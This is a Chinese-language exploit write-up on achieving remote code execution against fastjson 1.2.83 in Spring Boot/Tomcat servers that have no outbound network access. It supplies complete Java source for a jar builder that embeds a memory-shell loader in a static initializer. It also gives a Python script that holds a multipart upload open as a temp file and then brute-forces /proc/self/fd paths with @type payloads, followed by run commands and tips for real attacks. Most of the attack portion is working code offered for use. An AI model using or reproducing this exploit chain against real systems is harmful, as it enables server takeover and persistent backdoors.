fastjson 1.2.83 如何不出网 RCE 利用
fastjson 1.2.83 如何不出网 RCE 利用
fastjson 1.2.83 如何不出网 RCE 利用
fastjson1.2.83 RCE的原理不多赘述,核心Payload为
{"@type":"jar:http:..XXXXXX:18080.POC!.POC"}
或者
{"@type":"jar:file:.tmp.POC!.POC"}本文主要给大家讲解下如何在不出网的情况下实现RCE呢?简单来说就是通过Tomcat临时文件上传到服务器,然后通过fd加载临时文件实现RCE。先来了解几个概念。
Tomcat临时文件
Spring Boot 默认内嵌 Tomcat 作为 Servlet 容器,Tomcat可通过 multipart 上传临时文件到服务器,具体如下:
- 临时文件落盘:Tomcat 解析 multipart 请求时,对每个 file part,若其大小超过
file-size-threshold(默认 0,即所有部分都落盘),会在javax.servlet.context.tempdir指向的工作目录(形如work/Tomcat/xxx/ROOT/)下创建一个磁盘临时文件(文件名形如upload_xxxxxxxx.tmp); - 占用 fd:Tomcat 打开该临时文件写入上传内容,进程因此获得一个文件描述符 fd N,
/proc/self/fd/N即指向这个临时文件; - 这样上传的
jar(+padding)内容被写入这个临时文件,于是 fd N = 临时文件 = jar 内容 jar:file:/proc/self/fd/N!/fdN.Exception让 fastjson 打开 fd N(即 Tomcat 的临时文件),读取其中的 jar,加载fdN.Exception类
/proc/self/fd
Linux 下 /proc/self/fd/N 是一个符号链接,指向当前进程打开的第 N 号文件描述符所对应的文件/套接字/管道。
思路:
- 如果能让目标 先把恶意 jar 内容挂在自己的某个 fd 上(且该 fd 保持不关闭);
- 再让 fastjson 用
jar:file:/proc/self/fd/N去读这个 fd,目标就等于 自己读自己已缓存的内容;
这样把"目标主动拉取远程类"转换为"目标读取自身 fd 中的类",绕过出网限制。
flowchart TD
A["生成jar<br/>(1 first-stage + 100 fd类, ~853KB)"] --> B["阶段A: 上传 jar+padding<br/>扣留结尾 boundary, 保持 fd open"]
B --> C["阶段B: 并发 @type=jar:file:.proc.self.fd.N<br/>让目标从自身 fdN 读 jar 加载类"]
C --> D{"命中 fd?"}
D -- 否 --> E["fd 编号不对<br/>换范围(101-200)重新生成 jar"]
E --> A
D -- 是 --> F["加载 fdN.Exception<br/>触发 clinit 注入内存马"]数据流向:
阶段A上传jar ──► Tomcat multipart解析 ──► 写入临时文件(.tmp) ──► 占用fd N
│
/proc/self/fd/N ◄────────────────────────┘
│
fastjson jar:file:/proc/self/fd/N ──► 读取jar ──► 加载类这样思路其实很明显了,只要我们通过Tomcat上传Jar临时文件,然后通过 fastjson加载jar:file/proc/self/fd/N从fd中加载这个Jar实现RCE。
{"@type":"jar:file:.proc.self.fd.1!.fd1.Exception"}代码实现
输入 jar_url、payload 文件(内存马)和 fd 范围,它把内存马塞进 Java 类的 static {} 静态块,用 javac 编译成 class,再用 ASM 把类名改成 jar:file:/proc/self/fd/N!/fdN/Exception 这种路径式名称,最后打包成 jar
//FastjsonFdExploit.java
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.nio.file.FileVisitOption;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.attribute.FileAttribute;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.zip.ZipEntry;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
public class FastjsonFdExploit {
private static final int DEFAULT_MIN_FD = 3;
private static final int DEFAULT_MAX_FD = 256;
private static final Pattern IP_PATTERN = Pattern.compile("(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})");
private static final Pattern JAR_NAME_PATTERN = Pattern.compile("/([^/]+)!/(.+)");
public static void main(String[] strArr) throws Exception {
if (strArr.length < 2) {
printUsage();
return;
}
String str = strArr[0];
String str2 = strArr[1];
ArrayList arrayList = new ArrayList();
for (int i = 2; i < strArr.length; i++) {
if ("-v".equals(strArr[i])) {
verbose = true;
} else {
try {
arrayList.add(Integer.valueOf(Integer.parseInt(strArr[i])));
} catch (NumberFormatException e) {
System.err.println("Unknown argument: " + strArr[i]);
printUsage();
return;
}
}
}
int iIntValue = arrayList.size() >= 1 ? ((Integer) arrayList.get(0)).intValue() : 3;
int iIntValue2 = arrayList.size() >= 2 ? ((Integer) arrayList.get(1)).intValue() : 256;
if (arrayList.size() > 2) {
System.err.println("Too many fd arguments (at most min max)");
printUsage();
return;
}
if (iIntValue < 0 || iIntValue2 < iIntValue) {
System.err.println("Invalid fd range: min=" + iIntValue + " max=" + iIntValue2);
return;
}
log("[fd-range] " + iIntValue + " .. " + iIntValue2 + " (" + ((iIntValue2 - iIntValue) + 1) + " classes)");
String strDeriveJarName = deriveJarName(str);
String strConvertIpToInt = convertIpToInt(str);
if (!strConvertIpToInt.equals(str)) {
log("[ip-convert] " + str + " -> " + strConvertIpToInt);
} else {
log("[ip-convert] no IP found, using as-is: " + strConvertIpToInt);
}
byte[] bArrGenerateClass = generateClass(strConvertIpToInt, str2);
String strSubstring = strConvertIpToInt.substring(0, strConvertIpToInt.lastIndexOf("!/") + 2);
byte[] bArrGenerateFirstStageClass = generateFirstStageClass(strSubstring + "foo/Exception");
Path path = Paths.get(strDeriveJarName, new String[0]);
JarOutputStream jarOutputStream = new JarOutputStream(Files.newOutputStream(path, new OpenOption[0]), new Manifest());
Throwable th = null;
try {
try {
jarOutputStream.putNextEntry(new ZipEntry("foo/Exception.class"));
jarOutputStream.write(bArrGenerateFirstStageClass);
jarOutputStream.closeEntry();
for (int i2 = iIntValue; i2 <= iIntValue2; i2++) {
byte[] bArrRenameClass = renameClass(bArrGenerateClass, "jar:file:/proc/self/fd/" + i2 + "!/fd" + i2 + "/Exception");
jarOutputStream.putNextEntry(new ZipEntry("fd" + i2 + "/Exception.class"));
jarOutputStream.write(bArrRenameClass);
jarOutputStream.closeEntry();
}
if (jarOutputStream != null) {
if (0 != 0) {
try {
jarOutputStream.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
} else {
jarOutputStream.close();
}
}
System.out.println("[done] " + strDeriveJarName + " (1 first-stage + " + ((iIntValue2 - iIntValue) + 1) + " fd classes, total: " + Files.size(path) + " bytes)\n");
System.out.println("利用Payload如下 (发送整个JSON数组):\n");
String strReplace = strSubstring.replace("jar:http://", "");
String strReplace2 = strReplace.substring(0, strReplace.length() - 2).replace('/', '.');
StringBuilder sb = new StringBuilder();
sb.append("[\n");
sb.append(" {\"@type\":\"jar:http:.." + strReplace2 + "!.foo.Exception\"},\n");
for (int i3 = iIntValue; i3 <= iIntValue2; i3++) {
sb.append(" {\"@type\":\"jar:file:.proc.self.fd." + i3 + "!.fd" + i3 + ".Exception\"}");
if (i3 < iIntValue2) {
sb.append(",");
}
sb.append("\n");
}
sb.append("]");
System.out.println(sb.toString());
} finally {
}
} catch (Throwable th3) {
if (jarOutputStream != null) {
if (th != null) {
try {
jarOutputStream.close();
} catch (Throwable th4) {
th.addSuppressed(th4);
}
} else {
jarOutputStream.close();
}
}
throw th3;
}
}
static String convertIpToInt(String str) {
Matcher matcher = IP_PATTERN.matcher(str);
StringBuffer stringBuffer = new StringBuffer();
while (matcher.find()) {
matcher.appendReplacement(stringBuffer, String.valueOf((Long.parseLong(matcher.group(1)) << 24) | (Long.parseLong(matcher.group(2)) << 16) | (Long.parseLong(matcher.group(3)) << 8) | Long.parseLong(matcher.group(4))));
}
matcher.appendTail(stringBuffer);
return stringBuffer.toString();
}
static String deriveJarName(String str) {
Matcher matcher = JAR_NAME_PATTERN.matcher(str);
if (matcher.find()) {
return matcher.group(1) + ".jar";
}
return extractSimpleName(str).toLowerCase() + ".jar";
}
static String extractSimpleName(String str) {
String strSubstring = str;
if (strSubstring.contains("/")) {
strSubstring = strSubstring.substring(strSubstring.lastIndexOf(47) + 1);
}
if (strSubstring.contains(".")) {
strSubstring = strSubstring.substring(strSubstring.lastIndexOf(46) + 1);
}
return strSubstring;
}
static byte[] generateClass(String str, String str2) throws Exception {
String strTrim = new String(Files.readAllBytes(Paths.get(str2, new String[0])), "UTF-8").trim();
log("[static] loaded from " + str2 + " (" + strTrim.length() + " chars)");
if (strTrim.startsWith("{")) {
strTrim = strTrim.substring(1, strTrim.length() - 1).trim();
}
String strExtractSimpleName = extractSimpleName(str);
String str3 = "import com.alibaba.fastjson.annotation.JSONType;\n@JSONType(asm = false)\npublic class " + strExtractSimpleName + " {\n static {\n try {\n " + strTrim.replace("\n", "\n ") + "\n } catch (Throwable t) {\n t.printStackTrace();\n }\n }\n}\n";
log("[source] ====");
log(str3);
log("============");
Path pathCreateTempDirectory = Files.createTempDirectory("exploit-", new FileAttribute[0]);
Path pathResolve = pathCreateTempDirectory.resolve(strExtractSimpleName + ".java");
Files.write(pathResolve, str3.getBytes("UTF-8"), new OpenOption[0]);
String property = System.getProperty("java.home");
String str4 = property + "/bin/javac";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
str4 = str4 + ".exe";
}
if (!new File(str4).exists()) {
str4 = new File(property).getParent() + "/bin/javac";
}
ProcessBuilder processBuilder = new ProcessBuilder(str4, "-cp", System.getProperty("java.class.path"), "-d", pathCreateTempDirectory.toString(), pathResolve.toString());
processBuilder.redirectErrorStream(true);
Process processStart = processBuilder.start();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(processStart.getInputStream()));
Throwable th = null;
while (true) {
try {
try {
String line = bufferedReader.readLine();
if (line == null) {
break;
}
sb.append(line).append("\n");
} finally {
}
} catch (Throwable th2) {
if (bufferedReader != null) {
if (th != null) {
try {
bufferedReader.close();
} catch (Throwable th3) {
th.addSuppressed(th3);
}
} else {
bufferedReader.close();
}
}
throw th2;
}
}
if (bufferedReader != null) {
if (0 != 0) {
try {
bufferedReader.close();
} catch (Throwable th4) {
th.addSuppressed(th4);
}
} else {
bufferedReader.close();
}
}
if (processStart.waitFor() != 0) {
throw new RuntimeException("javac compilation failed:\n" + ((Object) sb) + "\nSource:\n" + str3);
}
if (sb.length() > 0) {
log("[javac] " + sb.toString().trim());
}
Path pathResolve2 = pathCreateTempDirectory.resolve(strExtractSimpleName + ".class");
if (!Files.exists(pathResolve2, new LinkOption[0])) {
throw new RuntimeException("compiled class not found: " + pathResolve2);
}
byte[] bArrRenameClass = renameClass(Files.readAllBytes(pathResolve2), str);
Files.walk(pathCreateTempDirectory, new FileVisitOption[0]).sorted(Comparator.reverseOrder()).map((v0) -> {
return v0.toFile();
}).forEach((v0) -> {
v0.delete();
});
return bArrRenameClass;
}
static byte[] generateFirstStageClass(String str) {
ClassWriter classWriter = new ClassWriter(1);
classWriter.visit(52, 1, str, null, "java/lang/Object", null);
MethodVisitor methodVisitorVisitMethod = classWriter.visitMethod(1, "<init>", "()V", null, null);
methodVisitorVisitMethod.visitCode();
methodVisitorVisitMethod.visitVarInsn(25, 0);
methodVisitorVisitMethod.visitMethodInsn(183, "java/lang/Object", "<init>", "()V", false);
methodVisitorVisitMethod.visitInsn(177);
methodVisitorVisitMethod.visitMaxs(1, 1);
methodVisitorVisitMethod.visitEnd();
classWriter.visitEnd();
return classWriter.toByteArray();
}
static byte[] renameClass(byte[] bArr, final String str) {
ClassReader classReader = new ClassReader(bArr);
ClassWriter classWriter = new ClassWriter(1);
classReader.accept(new ClassVisitor(Opcodes.ASM9, classWriter) { // from class: FastjsonFdExploit.1
@Override // org.objectweb.asm.ClassVisitor
public void visit(int i, int i2, String str2, String str3, String str4, String[] strArr) {
super.visit(i, i2, str, str3, str4, strArr);
}
}, 0);
return classWriter.toByteArray();
}
}//rce.txt
String base64Str = "";
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
clazz.newInstance();实现效果如下,由于是不出网RCE,这个jar:http地址可以随意填,rce.txt如上为要执行的代码,1 100为fd1-100迭代,会在本地生成一个JAR文件。
然后这里有个点要注意,关于Springboot临时文件限制的问题。
Spring Boot 默认 multipart 配置:
配置项 | 默认值 | 作用 |
| 1MB | 单个上传文件部分最大体积 |
| 10MB | 整个请求最大体积 |
| 0 | 超过阈值写磁盘临时文件 |
Spring Boot 在流式接收时会将该部分写入临时文件(落盘到 fd 指向的临时区)。一旦单个文件部分超过 1MB,Spring Boot 抛 MaxUploadSizeExceededException,临时文件被拒绝/截断,fd 上无法驻留完整 jar 内容,读到的不是有效 jar,利用失败。
所以在指定fd大小的时候需要注意生成的jar文件大小。
还有一个用于发包的脚本,这个可以自行更改。
//exploit.py
#!/usr/bin/env python3
import socket, sys, time, json, threading, ssl
from urllib.parse import urlparse
jar_path = sys.argv[1]
raw = sys.argv[2]
PAD = 60000
FD0 = int(sys.argv[3])
FD1 = int(sys.argv[4])
u = urlparse(raw if "://" in raw else "http://" + raw)
scheme = (u.scheme or "http").lower()
host = u.hostname
port = u.port or (443 if scheme == "https" else 80)
path = u.path or "/"
if u.query: path += "?" + u.query
default_port = (scheme == "http" and port == 80) or (scheme == "https" and port == 443)
host_hdr = host if default_port else f"{host}:{port}"
def conn():
s = socket.create_connection((host, port), timeout=30)
if scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
return s
jar = open(jar_path, "rb").read()
bnd = "----XuanBoundary"
A_head = (f"--{bnd}\r\n"
'Content-Disposition: form-data; name="file"; filename="x.jar"\r\n'
"Content-Type: application/octet-stream\r\n\r\n").encode()
A_tail = f"\r\n--{bnd}--\r\n".encode()
A_body = A_head + jar + b"\x00"*PAD
A_clen = len(A_head)+len(jar)+PAD+len(A_tail)
A_req = (f"POST {path} HTTP/1.1\r\nHost: {host_hdr}\r\n"
f"Content-Type: multipart/form-data; boundary={bnd}\r\n"
f"Content-Length: {A_clen}\r\nConnection: keep-alive\r\n\r\n").encode()
# A: 发完整 JAR+padding, withhold 结尾 boundary -> fd 开着,temp 完整不增长
sA = conn()
sA.sendall(A_req + A_body)
print(f"[A] JAR({len(jar)})+padding({PAD}) -> {scheme}://{host_hdr}{path} , fd 开着")
time.sleep(1.0)
def fire(n):
body = json.dumps({"@type": f"jar:file:.proc.self.fd.{n}!.fd{n}.Exception"}).encode()
req = (f"POST {path} HTTP/1.1\r\nHost: {host_hdr}\r\n"
f"Content-Type: application/json\r\nContent-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n").encode() + body
try:
s = conn(); s.settimeout(8); s.sendall(req)
try: s.recv(8192) # 让服务端处理完,内容不关心
except Exception: pass
s.close()
except Exception:
pass
print(f"[B] 并发打 fd {FD0}..{FD1} ...")
ts = [threading.Thread(target=fire, args=(n,)) for n in range(FD0, FD1+1)]
for t in ts: t.start()
for t in ts: t.join(timeout=12)
print("[*] 完成。自行检测是否成功!")
sA.close()阶段 A(占 fd)
用 multipart/form-data 把整个 JAR + 60000 字节 padding 发到目标,但故意不发结尾的 --boundary--,让请求"未完成"。目标(Tomcat)为此连接分配的 fd 保持打开,jar 内容驻留在该 fd 指向的临时文件里不释放。keep-alive 保持连接,fd 编号固定。
阶段 B(触发自读)
并发对每个 fd 编号 N 发:
{"@type":"jar:file:.proc.self.fd.N!.fdN.Exception"}让 fastjson 从目标自身的 /proc/self/fd/N 读取阶段 A 塞入的 jar,加载 fdN.Exception 类,触发静态块执行内存马。多线程并发 + 8s 超时快速覆盖整个 fd 范围,命中即成功。
具体工具链接可参考:https://github.com/Axyanzzzz/FastjsonExploit
复现
首先在MemShellParty中生成一个内存马,复制到rce.txt中,然后执行以下命令生成jar,fd从1-100枚举(大小不超过1MB)
java -jar fastjsonfdExploit.jar 'jar:http://127.0.0.1:18080/xuan!/foo/Exception' rce.txt 1 100然后运行exploit.py发送数据包
在服务器上可以查看到如下日志,说明成功碰撞到fd并加载了jar,内存马注入成功。
真实攻击场景下,fd值可能不好预测,但是由于Spring Boot 默认 multipart 配置问题,不建议一次生成fd差值较大的JAR,可以通过fastjsonfdExploit.jar多生成几次jar使用不同的fd进行迭代循环发包来碰撞fd。